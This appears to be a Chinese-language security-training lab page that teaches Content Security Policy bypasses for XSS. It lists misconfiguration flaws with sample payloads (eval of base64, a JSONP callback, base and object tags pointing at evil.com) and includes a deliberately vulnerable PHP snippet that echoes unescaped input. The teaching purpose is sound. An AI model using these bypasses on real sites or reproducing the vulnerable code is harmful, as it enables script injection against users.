◈ 渗透任务
CSP 安全策略缺陷分析
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
FinSecure 金融信息平台 (finance.finsecure.example.com)
委托方
FinSecure 声称 CSP 已阻止所有 XSS,安全团队需要验证
任务目标
分析 CSP 策略配置缺陷,找到绕过方法
- 识别 CSP 策略中的可利用弱点
- 绕过 CSP 执行 alert(1)
📖 教程:CSP 绕过技术
什么是 CSP?
Content Security Policy(内容安全策略)是一个 HTTP 响应头,用于限制页面可以加载和执行的资源来源。它是防御 XSS 的重要机制。
CSP 的核心思想:即使攻击者注入了恶意脚本,CSP 也能阻止其执行,因为它不是来自白名单来源。
CSP 策略指令
Content-Security-Policy:
script-src 'self' # 脚本只允许同源
style-src 'self' # 样式只允许同源
img-src * # 图片允许任意来源
connect-src 'self' # AJAX/WebSocket 只允许同源
frame-ancestors 'none' # 禁止被 iframe 嵌入
base-uri 'self' # base 标签只允许同源
常见 CSP 配置缺陷
1. unsafe-eval
script-src 'self' 'unsafe-eval'
// 允许 eval(), new Function(), setTimeout(string) 等
// 绕过: <script>eval(atob('YWxlcnQoMSk='))</script>
这是最危险的 CSP 配置之一,几乎等同于没有 CSP。
2. unsafe-inline
script-src 'self' 'unsafe-inline'
// 允许内联脚本(<script>标签、事件处理器、javascript: 协议)
// 等同于没有 CSP
3. 通配符源
script-src *.google.com
// 允许所有 Google 子域名的脚本
// Google 某些子域名可能存在 JSONP 端点
4. JSONP 端点绕过
script-src https://accounts.google.com
// Google 有 JSONP 端点:
// https://accounts.google.com/o/oauth2/callback?callback=alert(1)
// 该端点返回 JavaScript,可被利用执行任意代码
5. base-uri 未设置
// 如果 CSP 未限制 base-uri
<base href="https://evil.com/">
// 页面上所有相对 URL 都会指向 evil.com
6. object-src 未设置
// 如果未限制 object-src
<object data="https://evil.com/evil.swf">
// 可以加载恶意 Flash 等插件
7. nonce 泄漏
// CSP 使用 nonce
Content-Security-Policy: script-src 'nonce-abc123'
// 如果 nonce 值可以通过某种方式获取(如 CSS 注入泄漏)
// 就可以构造带 nonce 的恶意脚本
8. strict-dynamic 滥用
script-src 'strict-dynamic' 'nonce-abc123'
// strict-dynamic 会让 nonce 创建的脚本动态添加更多脚本
// 如果有 nonce 泄漏,可以加载任意脚本
CSP 绕过检测清单
- 检查是否包含
'unsafe-eval'→ 直接 eval - 检查是否包含
'unsafe-inline'→ 直接内联 - 检查通配符域名 → 寻找 JSONP 端点
- 检查是否有
base-uri限制 - 检查是否有
object-src限制 - 检查 nonce 是否可泄漏
- 使用 CSP Evaluator 分析
绕过 Payload 工具
// base64 编码
btoa('alert(1)') → 'YWxlcnQoMSk='
atob('YWxlcnQoMSk=') → 'alert(1)'
// 十六进制编码
\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29 → alert(1)
// Unicode 编码
\\u0061\\u006c\\u0065\\u0072\\u0074\\x28\\u0031\\u0029 → alert(1)
🎯 练习:绕过 CSP 策略
目标:页面设置了 CSP 策略,但存在配置缺陷。
请分析 CSP 头并找到绕过方法,注入
alert(1)。
🔒 CSP 策略:
script-src 'self' 'unsafe-eval' https://accounts.google.com
在上方输入框中输入 payload,点击"提交"查看 CSP 处理结果...
📄 查看漏洞源码 (PHP)
<?php
// 服务器设置了 CSP 头
header("Content-Security-Policy: script-src 'self' 'unsafe-eval' https://accounts.google.com;");
// 页面直接输出用户输入
$input = $_GET['input'];
echo $input;
?>
🔍 CSP 分析:
'self'— 允许同源脚本'unsafe-eval'— 允许 eval/Function 等动态执行https://accounts.google.com— 允许 Google 域名脚本(可用于 JSONP)
提示:使用浏览器开发者工具(F12 → Console)查看 CSP 违规报告。